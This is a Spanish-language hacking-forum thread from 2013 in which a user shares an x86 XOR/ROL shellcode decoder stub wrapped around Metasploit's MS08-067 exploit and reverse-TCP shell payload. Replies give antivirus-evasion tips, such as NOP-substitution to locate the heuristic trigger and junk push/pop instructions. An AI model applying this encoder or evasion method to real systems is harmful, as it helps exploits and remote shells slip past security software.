Deteccion de Shellcode

Iniciado por cpu2, 16 Octubre 2013, 22:31 PM

0 Miembros y 2 Visitantes están viendo este tema.

cpu2

Hola

Bueno lo primero, si el tema no esta en su lugar correcto lo siento, creo que esta mejor aqui porque creo que es un problema de polimorfismo.

Bien estoy practicando los polimorfismo con las shellcodes, estoy haciendo las pruebas en un windows y con metasploit, windows tiene como sistema de seguridad "IDS" Kaspersky internet Security 14, y estoy explotando el tipico 08_067_netapi, bien tengo el siguiente encode.

Código (asm) [Seleccionar]
_start:

xorl %ebx, %ebx
movw $0x13a, %bx
jmp _C.0


_C.1:

popl %edx

_C.2:

xorb $0xff, (%edx, %ebx)
rolb (%edx)
decw %bx
jnz _C.2
jmp *%edx

_C.0:

call _C.1


Si, se puede mejorar sobre todo lo de bx, pero solo me preocupa la deteccion, entro en los sources de metasploit y modifico el payload windows/shell/reverse_tcp con el encode y los valores de Offsets.

Bien cuando tengo el AV desactivado todo bien, pero cuanto esta activado salta, esta es la deteccion.

PDM: Exploit.Win32.Generic

Apllication path: c:\windows\system32\svchost.exe


Hay por la red shellcodes anti-ids con polimorfismos mas simples, y la mia salta.

Pero cuando lanzo el ataque con metasploit marca lo siguientet, aplical su encode cosa que no le dije:

[*] Encoded stage with x86/shikata_ga_n
[*]Sending encoded stage (267 bytes) to 192.168.1.129


Que es problema de metasploit o de mi encode?

Un saludo.

P.D: No quiero hacer nada por hay, simplemente son pruebas, igualmente no me gusta mucho metasploit hace todo el trabajo.

Karcrack

Nunca he jugado con IDS pero imagino por el tag que se trata de una detección heurística.

Ves nopeando instrucciones o grupos de instrucciones y mira a ver cuando deja de saltar...

cpu2

Bien que te refieres a algo como esto.

Código (asm) [Seleccionar]
_start:

nop
nop
xorl %ebx, %ebx
movw $0x13a, %bx
jmp _C.0


_C.1:

popl %edx

_C.2:

nop
nop
xorb $0xff, (%edx, %ebx)
rolb (%edx)
decw %bx
jnz _C.2
jmp *%edx

_C.0:

call _C.1


Pero no detectara los nops como una amenaza?

Estoy leyendo un documento llamado x-raying. Tambien podria hacer que el encode en los xor el valor se cambiara, eso estaria mejor no?

Un saludo.

Karcrack

Nah, me refiero a que vayas reemplazando instrucciones por nops a ver si la detección heurística es culpa del bucle o de alguna instrucción específica o qué...

cpu2

#4
Vale ahora lo entiendo, dios que espeso que estaba es lo que tiene trasnochar.

Un saludo.

P.D: Lo del AES esta dejado aparte de momento, no tengo tiempo, pero creo que seria posible con pshufb de SSSE3.

Edito:

Bueno substitui los saltos y el call por nops, los comprobe uno por uno como dijiste, el AV no salto, pero como era de esperar la shellcode no funciona, en windows salta un error que es este

Generic Host Process for Win32 Services

Es posible que sean los saltos? O es cuando esta se ejecuta correctamente en memoria que la detecta? porque en la transferencia no dijo nada el AV.

Es que de windows no controlo nada, espero que me puedas echar un cable.

Karcrack

Bueno, la idea es que encuentres una instrucción que al reemplazarla por nop deje la shellcode indectable. Entonces buscas la forma de hacer la misma acción que la instrucción reemplaza con otros opcodes...

cpu2

Alguna sugerencia de como hacerlo? Utilizo el jump y el call para obtener el offset del principio de la shellcode, la mia y casi todas tienen un bucle parecio, por eso estoy un poco frustrado de que no funcione.

Con x64 tendria una idea pero esta es para x86, es x64 cuando haces una syscall esta te devuelve el offset en rcx de la siguiente instruccion, y al principio del programa rcx tiene el offset de inicio de .text, o al menos en OBSD, no seria necesario tomar la direccion porque ya la tengo en rcx.

Y no creo que sea el cifrado, porque como e dicho los hay mas simples y estan catalogados de anti-ids. Bueno lo pondre mejor y si continua saltando es que son los jumps y el call.

Un saludo.


MCKSys Argentina

Luego del call, podrias colocar un push r32 - pop r32 (o alguna combinacion parecida que rompa el stack), asi no empezarias directamente con un pop r32.

De igual forma con todo lo demas.

Es una idea...  :P

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."